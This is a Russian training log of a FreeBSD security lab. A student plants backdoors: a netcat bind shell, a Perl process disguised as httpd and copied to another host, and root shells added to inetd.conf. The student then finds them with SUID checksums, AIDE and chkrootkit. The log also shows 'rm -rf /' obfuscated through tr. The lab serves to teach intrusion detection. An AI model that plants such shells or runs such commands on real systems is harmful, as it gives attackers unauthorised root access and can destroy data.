Журнал лабораторных работ

Содержание

Журнал

Среда (12/20/06)

/dev/ttyp2
11:27:32
#grep -ri ipsec .

11:27:42
#which nc
/usr/bin/nc
11:27:47
#net
net-snmp-config           network-admin
netstat                   networkstatustestservice
11:27:47
#cd ..

11:28:04
#/usr/local/bin/n
nc                        newuser                   nspluginscan
neon-config               ngettext                  nspluginviewer
net-snmp-config           noatun                    nspr-config
networkstatustestservice  noncvslist
11:28:04
#/usr/local/bin/n
nc                        newuser                   nspluginscan
neon-config               ngettext                  nspluginviewer
net-snmp-config           noatun                    nspr-config
networkstatustestservice  noncvslist
11:28:04
#/usr/local/bin/nc -e /bin/sh -l 3000
^C punt!
11:28:32
#/usr/local/bin/nc -e /bin/sh -l -p 0
^C
11:28:49
#nohup ocal/bin/nc -e /bin/sh -l -p 3000 &
[1] 79200
appending output to nohup.out
11:28:56
#ps
  PID  TT  STAT      TIME COMMAND
  617  v0  Is+    0:00.05 login [pam] (login)
  618  v1  Is+    0:00.00 /usr/libexec/getty Pc ttyv1
  619  v2  Is+    0:00.00 /usr/libexec/getty Pc ttyv2
  620  v3  Is+    0:00.00 /usr/libexec/getty Pc ttyv3
  621  v4  Is+    0:00.00 /usr/libexec/getty Pc ttyv4
  622  v5  Is+    0:00.00 /usr/libexec/getty Pc ttyv5
  623  v6  Is+    0:00.00 /usr/libexec/getty Pc ttyv6
  624  v7  Is+    0:00.00 /usr/libexec/getty Pc ttyv7
  381 con- S+     2:59.38 sh /usr/local/sbin/syslog_mysql.sh
...
31753  p2  Ss+    0:00.57 script -t 0 -q /root/.lilalo/ttyp2-31753.script
31789  p3  Ss     0:00.48 /usr/local/bin/bash -i
79200  p3  S      0:00.01 /usr/local/bin/nc -e /bin/sh -l -p 3000
79316  p3  R+     0:00.00 ps
53551  p4  Is+    0:00.11 script -t 0 -q /root/.lilalo/ttyp4-53551.script
53583  p5  Is+    0:00.07 /usr/local/bin/bash -i
58658  p5  T      0:00.01 /bin/sh /usr/local/sbin/syslog_mysql.sh
58659  p5  T      0:00.04 /usr/local/bin/mysql -u syslogadmin --password=pass syslog
70893  p5  T      0:00.01 /bin/sh /usr/local/sbin/syslog_mysql.sh
71221  p5  T      0:00.02 /usr/local/bin/mysql -u syslogadmin --password=pass syslog
11:28:57
#cd /root

11:29:14
#vi /root/megascript.pl
11:30:01
#perl /root/megascript.pl &
[2] 81768
11:30:05
#ps aux
USER    PID %CPU %MEM   VSZ   RSS  TT  STAT STARTED      TIME COMMAND
root  27482  3.2  0.6  7360  6132  ??  Ss   10:19AM   2:31.73 l3-agent (perl5.8.7)
root    381  1.3  0.1  1632  1088 con- S+    9:24AM   3:01.08 sh /usr/local/sbin/syslog_mysql.sh
root  81768  1.0  0.2  2740  2100  p3  S    11:30AM   0:00.01 httpd (perl5.8.7)
root  97103  0.0  3.5 39948 36100  ??  S    10:50AM   0:19.48 kdeinit: kdeinit: konqueror --silent (
root      0  0.0  0.0     0     0  ??  WLs   9:24AM   0:00.00 [swapper]
root      1  0.0  0.0   724   356  ??  ILs   9:24AM   0:00.01 /sbin/init --
root      2  0.0  0.0     0     8  ??  DL    9:24AM   0:00.53 [g_event]
root      3  0.0  0.0     0     8  ??  DL    9:24AM   0:01.66 [g_up]
root      4  0.0  0.0     0     8  ??  DL    9:24AM   0:01.99 [g_down]
...
root  31753  0.0  0.1  1260   820  p2  Ss+  11:06AM   0:00.59 script -t 0 -q /root/.lilalo/ttyp2-317
root  31789  0.0  0.2  3204  2236  p3  Ss   11:06AM   0:00.50 /usr/local/bin/bash -i
root  79200  0.0  0.0   616   480  p3  I    11:28AM   0:00.01 /usr/local/bin/nc -e /bin/sh -l -p 300
root  81841  0.0  0.1  1448   972  p3  R+   11:30AM   0:00.00 ps aux
root  53551  0.0  0.1  1260   820  p4  Is+   9:46AM   0:00.11 script -t 0 -q /root/.lilalo/ttyp4-535
root  53583  0.0  0.2  3196  2208  p5  Is+   9:46AM   0:00.07 /usr/local/bin/bash -i
root  58658  0.0  0.1  1624  1144  p5  T     9:49AM   0:00.01 /bin/sh /usr/local/sbin/syslog_mysql.s
root  58659  0.0  0.2  3140  2372  p5  T     9:49AM   0:00.04 /usr/local/bin/mysql -u syslogadmin --
root  70893  0.0  0.1  1628  1148  p5  T     9:54AM   0:00.01 /bin/sh /usr/local/sbin/syslog_mysql.s
root  71221  0.0  0.2  3140  2332  p5  T     9:54AM   0:00.02 /usr/local/bin/mysql -u syslogadmin --
11:30:24
#jobs
[1]-  Running                 nohup /usr/local/bin/nc -e /bin/sh -l -p 3000 &  (wd: /usr/ports/net/netcat)
[2]+  Running                 perl /root/megascript.pl &
11:30:53
#ps aux | grep htt
root    464  0.0  0.4  4596  4068  ??  Ss    9:24AM   0:00.44 /usr/local/sbin/httpd
www     523  0.0  0.4  5036  4608  ??  I     9:24AM   0:00.06 /usr/local/sbin/httpd
www     524  0.0  0.4  4656  4148  ??  I     9:24AM   0:00.00 /usr/local/sbin/httpd
www     525  0.0  0.4  4936  4468  ??  I     9:24AM   0:00.03 /usr/local/sbin/httpd
www     526  0.0  0.4  4656  4148  ??  I     9:24AM   0:00.00 /usr/local/sbin/httpd
www     527  0.0  0.4  4668  4160  ??  I     9:24AM   0:00.00 /usr/local/sbin/httpd
www   39266  0.0  0.4  5032  4608  ??  I     9:40AM   0:00.04 /usr/local/sbin/httpd
www   50375  0.0  0.4  4636  4108  ??  I     9:45AM   0:00.00 /usr/local/sbin/httpd
www   50404  0.0  0.4  4636  4108  ??  I     9:45AM   0:00.00 /usr/local/sbin/httpd
www   50405  0.0  0.4  4636  4108  ??  I     9:45AM   0:00.00 /usr/local/sbin/httpd
root  81768  0.0  0.2  2740  2100  p3  I    11:30AM   0:00.01 httpd (perl5.8.7)
root  83852  0.0  0.2  3204  2236  p3  R+   11:31AM   0:00.00 grep htt (bash)
11:31:31
#ls -l /root/megascript.pl
-rw-r--r--  1 root  wheel  56 Dec 20 11:30 /root/megascript.pl
11:31:36
#scp /root/megascript.pl m03:/root
The authenticity of host 'linux3.linux.nt (192.168.15.3)' can't be established.
DSA key fingerprint is 8e:02:fd:ce:f5:93:99:c1:b4:a5:85:57:32:c7:64:de.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'linux3.linux.nt' (DSA) to the list of known hosts.
root@linux3.linux.nt's password:
megascript.pl                                                      100%   56     0.1KB/s   00:00
11:31:45
#ssh m03
root@linux3.linux.nt's password:
Last login: Tue Dec 20 09:57:07 2005 from linux.nt
11:32:05
#perl megascript.pl &
[1] 5215
11:32:17
#ps aux | hrep httpd
-bash: hrep: command not found
11:32:31
#ps aux | g
root      3479  0.0  0.5 13896 5752 ?        S    09:21   0:00 /usr/sbin/httpd
apache    3493  0.0  0.6 14236 6504 ?        S    09:21   0:00 /usr/sbin/httpd
apache    3494  0.0  0.6 14208 6488 ?        S    09:21   0:00 /usr/sbin/httpd
apache    3495  0.0  0.5 14028 5872 ?        S    09:21   0:00 /usr/sbin/httpd
apache    3496  0.0  0.6 14252 6524 ?        S    09:21   0:00 /usr/sbin/httpd
apache    3497  0.0  0.5 14028 5872 ?        S    09:21   0:00 /usr/sbin/httpd
apache    3498  0.0  0.6 14320 6476 ?        S    09:21   0:00 /usr/sbin/httpd
apache    3499  0.0  0.6 14232 6468 ?        S    09:21   0:00 /usr/sbin/httpd
apache    3500  0.0  0.5 14028 5872 ?        S    09:21   0:00 /usr/sbin/httpd
root      5215  0.0  0.1  5840 1228 pts/3    S    11:32   0:00 httpd
root      5262  0.0  0.0  4744  740 pts/3    S    11:32   0:00 grep httpd
11:32:34
#logout
Read from remote host linux3.linux.nt: Connection reset by peer
Connection to linux3.linux.nt closed.
/dev/ttyp6
11:33:12
#ps aux | grep l3-a
root  27482  0.5  0.6  7360  6132  ??  Ss   10:19AM   2:34.61 l3-agent (perl5.8.7)
root  88424  0.0  0.1  1436   652  p7  R+   11:33AM   0:00.00 grep l3-a
11:33:17
#vi /usr/local/bin/l3
79c79
< 		"daemon_sleep_interval"		=>	"1",
---
> 		"daemon_sleep_interval"		=>	"10",
11:33:17
#vi /usr/local/bin/l3config.pm
11:33:41
#killall l3-agent
No matching processes were found
11:33:47
#ps aux | grep l3-agent
root  27482  4.7  0.6  7360  6132  ??  Ss   10:19AM   2:36.74 l3-agent (perl5.8.7)
root  89634  0.0  0.1  1440   968  p7  RL+  11:33AM   0:00.00 grep l3-agent
11:33:52
#kill 27482

11:33:59
#l3-agent

Kak s etim borot'sya. Prosteishie sposoby

11:35:48
#find / -perm +1000
/tmp
/tmp/.X11-unix
/tmp/.ICE-unix
/tmp/.font-unix
/tmp/.XIM-unix
^C
11:35:54
#find / -perm +400
/tmp/.vi
/usr/bin/at
/usr/bin/atq
/usr/bin/atrm
/usr/bin/batch
/usr/bin/chpass
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/ypchpass
/usr/bin/ypchfn
...
/usr/sbin/authpf
/usr/sbin/mrinfo
/usr/sbin/mtrace
/usr/sbin/ppp
/usr/sbin/pppd
/usr/sbin/sliplogin
/usr/sbin/timedc
/usr/sbin/traceroute
/usr/sbin/traceroute6
^C
11:36:34
#find / -perm +4000 -exec md5 {} \; > /tmp/suid-md5-1

11:38:18
#less /tmp/suid-md5-1
11:38:23
#echo X >> /usr/bin/lpr

11:38:56
#find / -perm +4000 -exec md5 {} \; > /tmp/suid-md5-22

11:39:33
#diff /tmp/suid-md5-*
23c23
< MD5 (/usr/bin/lpr) = 9a6927f21e99591fa28f47856c1d6eff
---
> MD5 (/usr/bin/lpr) = 96b333843d9fce9275011e3494d6aa45
/dev/ttyp4
11:44:45
#cd /usr/ports

11:45:03
#make search aide
The search target requires a keyword parameter or name parameter,
e.g.: "make search key=somekeyword"
or    "make search name=somekeyword"
make: don't know how to make aide. Stop
11:45:10
#make search "aide"
The search target requires a keyword parameter or name parameter,
e.g.: "make search key=somekeyword"
or    "make search name=somekeyword"
make: don't know how to make aide. Stop
11:45:20
#make search name=
Port:   aide-0.10_1
Path:   /usr/ports/security/aide
Info:   A replacement and extension for Tripwire
Maint:  cy@FreeBSD.org
B-deps: bison-1.75_2 gettext-0.14.5 gmake-3.80_2 libiconv-1.9.2_1 m4-1.4.3 mhash-0.9.2
R-deps: mhash-0.9.2
WWW:    http://sourceforge.net/projects/aide
11:46:01
#cd /security/aide
bash: cd: /security/aide: No such file or directory
11:46:16
#pwd
/usr/ports
11:46:19
#cd /security/aide/
bash: cd: /security/aide/: No such file or directory
11:46:33
#cd /security/
bash: cd: /security/: No such file or directory
11:46:48
#ls
.cvsignore      audio           french          misc            ukrainian
CHANGES         benchmarks      ftp             multimedia      vietnamese
INDEX-6         biology         games           net             www
LEGAL           cad             german          net-mgmt        x11
MOVED           chinese         graphics        news            x11-clocks
Makefile        comms           hebrew          palm            x11-fm
Mk              converters      hungarian       polish          x11-fonts
README          databases       irc             portuguese      x11-servers
Templates       deskutils       japanese        print           x11-themes
Tools           devel           java            russian         x11-toolkits
UPDATING        distfiles       korean          science         x11-wm
accessibility   dns             lang            security
arabic          editors         mail            shells
archivers       emulators       math            sysutils
astro           finance         mbone           textproc
11:46:54
#cd security

11:47:02
#cd aide

11:47:07
#make install
cd libltdl && make local-install-files
rm -rf /usr/local/share/libtool13/libltdl
/bin/sh ./../mkinstalldirs /usr/local/share/libtool13/libltdl
mkdir /usr/local/share/libtool13/libltdl
Making install in libltdl
/bin/sh ./../mkinstalldirs /usr/local/lib
/bin/sh ./../mkinstalldirs /usr/local/include
Making install in doc
/bin/sh ../mkinstalldirs /usr/local/info
 install  -o root -g wheel -m 444 ./libtool13.info /usr/local/info/libtool13.info
...
checking for f77 option to produce PIC... -fPIC
checking if f77 PIC flag -fPIC works... yes
checking if f77 supports -c -o file.o... yes
checking whether the f77 linker (/usr/bin/ld) supports shared libraries... yes
checking dynamic linker characteristics... freebsd6.0 ld.so
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating mhash.spec
11:54:09
#cp /usr/local/etc/aide.conf.sample /var/db/aide/aide.conf

11:57:19
#cd /var/db/aide/

11:57:56
#a
a2p                amor               artsd              atq
a52dec             amq                artsdsp            atrm
ab                 ancontrol          artsmessage        auconvert
ac                 apachectl          artsplay           auctl
accton             apm                artsrec            audemo
acpiconf           apmd               artsshell          audial
acpidb             appletproxy        artswrapper        audiofile-config
acpidump           apply              as                 auedit
activation-client  appres             asa                auinfo
addbuiltin         apr-1-config       asf                aupanel
adddebug           apropos            aspell             auphone
addftinfo          apu-1-config       aspell-import      auplay
addr2line          apxs               assistant          aurecord
addresses          ar                 at                 auscope
adduser            ark                atacontrol         authpf
adjkerntz          arlcontrol         atlantik           autool
afmtodit           arp                atm                autopoint
aide               artsbuilder        atmarpd            auwave
akregator          artsc-config       atmconfig          awk
alias              artscat            atob
amd                artscontrol        atobm
11:57:56
#aaide --init
bash: aaide: command not found
11:58:07
#aide --init
AIDE, version 0.10
### AIDE database initialized.
12:01:51
#aide --chech
aide: unrecognized option `--chech'
Unknown option given. Exiting
12:04:37
#aide --check
Couldn't open file /var/db/aide/databases/aide.db for reading
12:12:57
#vi aide.conf
/dev/ttyp6
12:14:32
#viusr/local/etc/aide.conf
#
# Templates:
# (default) R :  [R]ead-only (+p+i+n+u+g+s+m+md5+tiger+rmd160+sha1-a)
#       L :  [L]og file (+p+i+n+u+g-s-a-m-md5-tiger-rmd160-sha1)
#       N :  ignore [N]othing (+p+i+n+u+s+g+s+a+m+c+md5+tiger+rmd160+sha1)
#       E :  ignore [E]verything (-p-i-n-u-s-g-s-a-m-c-md5-tiger-rmd160-sha1)
#
# By default, Tripwire uses the R template -- it ignores
# only the access timestamp.
#
...
#
#
# Tripwire running slowly?  Modify your tripwire.config entries to
# ignore the (signature 2) attribute when this computationally-exorbitant
# protection is not needed.  (See README and design document for further
# details.)
#
database=file:///var/db/aide/databases/aide.db
database_out=file:///var/db/aide/databases/aide.db.new
:q!
12:17:54
#catsr/local/etc/aide.conf
# Preener will scan.  Information collected from these files will be
# stored in the tripwire.database file.
#
# Format:                       [!|=] entry [ignore-flags]
#
# where:         '!' signifies the entry is to be pruned (inclusive) from
#                               the list of files to be scanned.
#                '=' signifies the entry is to be added, but if it is
#                               a directory, then all its contents are pruned
#                               (useful for /tmp).
...
/usr/libexec            R-tiger-rmd160-sha1
/usr/local/bin          R-tiger-rmd160-sha1
/usr/local/etc          L
/usr/local/lib          R-tiger-rmd160-sha1
/usr/local/libexec      R-tiger-rmd160-sha1
/usr/local/sbin         R-tiger-rmd160-sha1
/usr/local/share        R-tiger-rmd160-sha1
/usr/sbin               R-tiger-rmd160-sha1
/usr/share              R-tiger-rmd160-sha1
###########################################
12:21:10
#cat /usr/local/etc/aide.conf|more
12:22:59
#tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on xl0, link-type EN10MB (Ethernet), capture size 96 bytes
^[[A
^C
0 packets captured
0 packets received by filter
0 packets dropped by kernel
/dev/ttyp8
12:23:45
#less /usr/local/etc/aide.conf
12:29:24
#pkg_add -r rootkit
^CSignal 2 received, cleaning up..
12:31:39
#pkg_add -r chktkit
Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-6.0-release/Latest/chkrootkit.tbz... Done.
12:31:47
#chkrootkit
ROOTDIR is `/'
Checking `amd'... not infected
Checking `basename'... not infected
Checking `biff'... not infected
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
...
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... xl0 is not promisc
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'... chkutmp: nothing deleted
/dev/ttyp4
12:32:03
#exit
There are stopped jobs.
/dev/ttyp8
12:32:06
#chkrootkit | less
12:33:36
#vi /etc/inetd.conf
20c20
< finger	stream	tcp	nowait/3/10 root /bin/sh sh -i
---
> #finger	stream	tcp	nowait/3/10 root /bin/sh sh -i
89c89
< uucpd	stream	tcp	nowait	root	/bin/sh sh -i
---
> #uucpd	stream	tcp	nowait	root	/bin/sh sh -i
12:34:06
#man chkrootkit
12:34:10
#chkrootkit --h
Usage: /usr/local/sbin/chkrootkit [options] [test ...]
Options:
        -h                show this help and exit
        -V                show version information and exit
        -l                show available tests and exit
        -d                debug
        -q                quiet mode
        -x                expert mode
        -r dir            use dir as the root directory
        -p dir1:dir2:dirN path for the external commands used by chkrootkit
        -n                skip NFS mounted dirs
12:34:13
#chkrootkit -d
+
+ /bin/echo Checking `mingetty'... \c
Checking `mingetty'... + chk_mingetty
+ STATUS=1
+ MINGETTY_INFECTED_LABEL=Dimensioni|pacchetto
+ loc mingetty mingetty /sbin /bin /usr/sbin /usr/bin /usr/games /usr/local/sbin /usr/local/bin /usr/X11R6/bin /root/bin /sbin /usr/sbin /lib /usr/lib /usr/libexec .
+ thing=mingetty
+ shift
+ dflt=mingetty
+ shift
...
+ :
+ test -f /usr/sbin/passwd
+ :
+ test -f /usr/bin/passwd
+ echo /usr/bin/passwd
+ exit 0
+ CMD=/usr/bin/passwd
+ [ ! -x /usr/bin/passwd -a -x /usr/bin/passwd ]
+ [  = t ]
+ [ FreeBSD = OpenBSD -o FreeBSD = SunOS -o FreeBSD^C
12:34:44
#vi /etc/inetd.conf
12:35:02
#chkrootkit -d | less
12:35:10
#chkrootkit -d 2>&1ess
u ifconfig inetd inetdconf identd init killall ldsopreload login ls lsof mail mingetty netstat named
+ printn Checking `identd'...
+ echo amd basename biff chfn chsh cron date du dirname echo egrep env find fingerd gpm grep hdparm s
u ifconfig inetd inetdconf identd init killall ldsopreload login ls lsof mail mingetty netstat named
passwd pidof pop2 pop3 ps pstree rpcinfo rlogind rshd slogin sendmail sshd syslogd tar tcpd tcpdump t
op telnetd timed traceroute vdir w write|vejeta|\.arkeload login ls lsof mail mingetty netstat named
+ /usr/bin/egrep (^|[^A-Za-z0-9_])inetdconf([^A-Za-z0-9_]|$) sendmail sshd syslogd tar tcpd tcpdump t
+ [  != t -a  != t ]meroute vdir w writer/bin /usr/games /usr/local/sbin /usr/local/bin /usr/X11R6/bi
+ printn Checking `inetdconf'... h cron date du dirname echo egrep env find fingerd gpm grep hdparm s
+ /bin/echo a\cp cn/dirnameidentd init killall ldsopreload login ls lsof mail mingetty netstat named
...
+ /usr/bin/egrep ^.*stream.*tcp.*nowait.*/bin/sh.*/games /usr/local/sbin /usr/local/bin /usr/X11R6/bi
+ [ 0 -ne 1 ]T_INFECTED_LABEL=PROMISCprint 0}r/libexec .
+ [  = t ]_INFECTED_LABEL=/dev/tux|/session.null0rm|^/prof|/dev/tux|file\.h fingerd gpm grep hdparm s
+ STATUS=0/sbin/inetd /sbin/ifconfigite$|vejeta|\.ark/usr/local/sbin /usr/local/bin /usr/X11R6/bin /r
+ cat /etc/inetd.confISCarmddirnameib /usr/libexec .d slogin sendmail sshd syslogd tar tcpd tcpdump t
+ /usr/bin/egrep -v ^#bin/.*sh$|bash|elite$|vejeta|\.ark
+ /usr/bin/egrep ^.*stream.*tcp.*nowait.*/bin/csh.* /usr/games /usr/local/sbin /usr/local/bin /usr/X1
+ [ 1 -ne 1 ]r/sbin/inetd|/session.null$|vejeta|\.arklibexec .
+ cat /etc/inetd.confdi|vejeta|conf\.inv
+ /usr/bin/egrep -v ^#grepf|/dev/pty[pqrs]|^/prof|/home/virus|/security|file\.h
12:36:25
#less /etc/inetd.conf
12:36:35
#vi /etc/inetd.conf
12:36:51
#cp /bin/sh /usr/local/libexec/uucpd

12:37:04
#chkrootkit
ROOTDIR is `/'
Checking `amd'... not infected
Checking `basename'... not infected
Checking `biff'... not infected
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
...
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... xl0 is not promisc
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'... chkutmp: nothing deleted
12:37:19
#/etc/rc.d/inetd restart
Stopping inetd.
Starting inetd.
12:37:27
#telnet 127.0.0.1 uucp
Trying 127.0.0.1...
Connected to localhost.linux.nt.
Escape character is '^]'.
ls / #
.cshrc
.mozilla
.profile
.snap
.swatch_script.506
COPYRIGHT
...
sbin
sys
tmp
usr
var
^D
: not found
^]
telnet> q
Connection closed.
12:37:46
#vi /etc/inetd.conf
88,89c88,89
< uucpd	stream	tcp	nowait	root	/usr/local/libexec/uucpd	uucpd
< #uucpd	stream	tcp	nowait	root	/bin/sh sh -i
---
> #uucpd	stream	tcp	nowait	root	/usr/local/libexec/uucpd	uucpd
> uucpd	stream	tcp	nowait	root	/bin/sh sh -i
12:38:18
#chkrootkit -x
:digit:]
:xdigit:]
:space:]
:punct:]
:alnum:]
:print:]
:graph:]
:cntrl:]
:blank:]
Memory exhausted
...
  -I                        equivalent to --binary-files=without-match
  -d, --directories=ACTION  how to handle directories
                            ACTION is 'read', 'recurse', or 'skip'
  -D, --devices=ACTION      how to handle devices, FIFOs and sockets
                            ACTION is 'read' or 'skip'
  -R, -r, --recursive       equivalent to --directories=recurse
      --include=PATTERN     files that match PATTERN will be examined
      --exclude=PATTERN     files that match PATTERN will be skipped.
      --exclude-from=FILE   files that match PATTERN in FILE will be skipped.
  -L, --files-without-match only print FILE names containing no match
12:38:35
#chkrootkit -x | grep INFECTED
INFECTED
^C
12:38:48
#man grep
12:38:52
#chkrootkit -x | grep -A 5 -B 5
.got
.bss
.comment
Backdoor shell record(s) in /etc/inetd.conf:
uucpd   stream  tcp     nowait  root    /bin/sh sh -i
INFECTED
not found
###
### Output of: /usr/bin/strings -a /sbin/init
###
Ht}N
^C
12:39:28
#chkrootkit -x | less
12:40:15
#strings `which sshd` | grep /etc
/etc/ssh/sshd_config
/etc/hosts.equiv
/etc/ssh/shosts.equiv
Accepted for %.100s [%.100s] by /etc/hosts.equiv.
/etc/ssh/ssh_known_hosts
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_key
/etc/motd
/bin/sh /etc/ssh/sshrc
/etc/ssh/ssh_known_hosts2
12:40:22
#echo sn -sg / | tr [za-y] [a-z]
to -th /
12:41:28
#echo sn -sg / | tr [a-z] [za-y]
rm -rf /
12:41:33
#echo sn=-sg= tr [a-z=@] [za-y /]
usage: tr [-Ccsu] string1 string2
       tr [-Ccu] -d string1
       tr [-Ccu] -s string1
       tr [-Ccu] -ds string1 string2
12:42:13
#echo sn=-sg=@ | tr '[a-z=@]' '[za-y /]'
rm -rf /
12:42:19
#tr a Z
aaaaaaaaaaaaaaaaaa
ZZZZZZZZZZZZZZZZZZ
12:43:04
#tr ab ZY
sdfasfaaaaaabbbb
sdfZsfZZZZZZYYYY
12:43:16
#tr [a-z] [z-y]
sn -sg
rm -rf
^C
12:44:27
#chkrootkit
ROOTDIR is `/'
Checking `amd'... not infected
Checking `basename'... not infected
Checking `biff'... not infected
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
...
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... xl0 is not promisc
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'... chkutmp: nothing deleted
12:46:58
#chkrootkit -h
Usage: /usr/local/sbin/chkrootkit [options] [test ...]
Options:
        -h                show this help and exit
        -V                show version information and exit
        -l                show available tests and exit
        -d                debug
        -q                quiet mode
        -x                expert mode
        -r dir            use dir as the root directory
        -p dir1:dir2:dirN path for the external commands used by chkrootkit
        -n                skip NFS mounted dirs
прошла 71 минута
/dev/ttyp6
13:58:04
#tcpdump
14:01:35.512068 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 80841 win 31132 <nop,nop,timestamp 16617827 8170574>
14:01:35.512160 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 80841 win 32820 <nop,nop,timestamp 16617827 8170574>
14:01:35.765190 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 80841:82289(1448) ack 1 win 65535 <nop,nop,timestamp 8170827 16617827>
14:01:35.767093 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 82289:83737(1448) ack 1 win 65535 <nop,nop,timestamp 8170827 16617827>
14:01:35.767172 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 83737 win 32396 <nop,nop,timestamp 16618082 8170827>
14:01:35.768815 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 83737:85185(1448) ack 1 win 65535 <nop,nop,timestamp 8170827 16617827>
14:01:35.768917 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 85185 win 33208 <nop,nop,timestamp 16618084 8170827>
14:01:36.016515 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 85185:86633(1448) ack 1 win 65535 <nop,nop,timestamp 8171079 16618082>
14:01:36.018418 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 86633:88081(1448) ack 1 win 65535 <nop,nop,timestamp 8171079 16618082>
14:01:36.018495 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 88081 win 32580 <nop,nop,timestamp 16618333 8171079>
...
14:01:40.643488 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 187993:189441(1448) ack 1 win 65535 <nop,nop,timestamp 8175706 16622709>
14:01:40.645358 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 189441:190889(1448) ack 1 win 65535 <nop,nop,timestamp 8175706 16622709>
14:01:40.645437 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 190889 win 32068 <nop,nop,timestamp 16622960 8175706>
14:01:40.647143 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 190889:192337(1448) ack 1 win 65535 <nop,nop,timestamp 8175706 16622709>
14:01:40.647239 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 192337 win 32880 <nop,nop,timestamp 16622962 8175706>
14:01:40.648980 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 192337:193785(1448) ack 1 win 65535 <nop,nop,timestamp 8175710 16622714>
14:01:40.748776 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 193785 win 33304 <nop,nop,timestamp 16623064 8175710>
14:01:40.894363 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 193785:195233(1448) ack 1 win 65535 <nop,nop,timestamp 8175957 16622960>
14:01:40.896233 IP freebsd.isc.org.27309 > fbsd1.linux.nt.55842: . 195233:196681(1448) ack 1 win 65535 <nop,nop,timestamp 8175957 16622960>
14:01:40.896318 IP fbsd1.linux.nt.55842 > freebsd.isc.org.27309: . ack 196681 win 32580 <nop,nop,timestamp 16623211 8175957>
/dev/ttyp4
13:58:26
#ping 192.168.15.22
root@193.111.9.10's password:
Permission denied, please try again.
root@193.111.9.10's password:
Last login: Fri Dec 23 11:26:06 2005 from mail.tex.kiev.ua
[root@ns /root]# uname -r
2.4.3-20mdk
[root@ns /root]# cd /etc/
[root@ns /etc]# mount
/dev/hda5 on / type ext2 (rw)
none on /proc type proc (rw)
...
64 bytes from 192.168.15.22: icmp_seq=13 ttl=64 time=0.235 ms
64 bytes from 192.168.15.22: icmp_seq=14 ttl=64 time=0.284 ms
64 bytes from 192.168.15.22: icmp_seq=15 ttl=64 time=0.256 ms
64 bytes from 192.168.15.22: icmp_seq=16 ttl=64 time=0.263 ms
64 bytes from 192.168.15.22: icmp_seq=17 ttl=64 time=0.264 ms
64 bytes from 192.168.15.22: icmp_seq=18 ttl=64 time=0.270 ms
^C
--- 192.168.15.22 ping statistics ---
19 packets transmitted, 19 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.235/0.273/0.453/0.044 ms
13:59:02
#ethereal
bash: ethereal: command not found
14:01:14
#plg_add -r
bash: plg_add: command not found

Файлы

  • sposoby
  • sposoby
    >
    Bor'ba vyponyaetsya podruchnymi instrumentami
    

    Статистика

    Время первой команды журнала11:27:32 2006-12-20
    Время последней команды журнала14:01:14 2006-12-20
    Количество командных строк в журнале101
    Процент команд с ненулевым кодом завершения, %14.85
    Процент синтаксически неверно набранных команд, % 3.96
    Суммарное время работы с терминалом *, час 1.38
    Количество командных строк в единицу времени, команда/мин 1.22
    Частота использования команд
    chkrootkit13|==========| 10.40%
    cd9|=======| 7.20%
    vi8|======| 6.40%
    ps7|=====| 5.60%
    grep7|=====| 5.60%
    less6|====| 4.80%
    tr6|====| 4.80%
    echo5|====| 4.00%
    make4|===| 3.20%
    find4|===| 3.20%
    aide3|==| 2.40%
    >3|==| 2.40%
    man2|=| 1.60%
    perl2|=| 1.60%
    cp2|=| 1.60%
    n2|=| 1.60%
    cat2|=| 1.60%
    ls2|=| 1.60%
    tcpdump2|=| 1.60%
    nc2|=| 1.60%
    pkg_add2|=| 1.60%
    more1|| 0.80%
    telnet1|| 0.80%
    &1|| 0.80%
    strings1|| 0.80%
    hrep1|| 0.80%
    suid-md5-221|| 0.80%
    ethereal1|| 0.80%
    killall1|| 0.80%
    aaide1|| 0.80%
    diff1|| 0.80%
    l3-agent1|| 0.80%
    plg_add1|| 0.80%
